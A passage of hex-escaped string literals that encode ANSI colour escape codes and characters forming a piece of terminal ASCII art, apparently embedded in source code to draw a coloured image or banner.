"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x58\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38"
"\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x74\x2e\x38\x3a\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x40\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x33\x3b\x34\x30\x6d\x53\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53"
"\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37"
"\x6d\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x40\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58"
"\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x37\x3b\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x58"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x2e\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34"
"\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x37\x6d\x58\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x36\x3b\x34\x30\x6d\x25\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x3b\x3a\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32"
"\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x53\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x3a\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x53\x40\x38\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b"
"\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x25\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x40\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x37\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x37\x6d\x2e\x58\x3b\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x33\x32\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x3a\x2e\x20\x20\x20\x2e\x2e\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37"
"\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b"
"\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x20\x20"
"\x20\x20\x20\x20\x2e\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33"
"\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
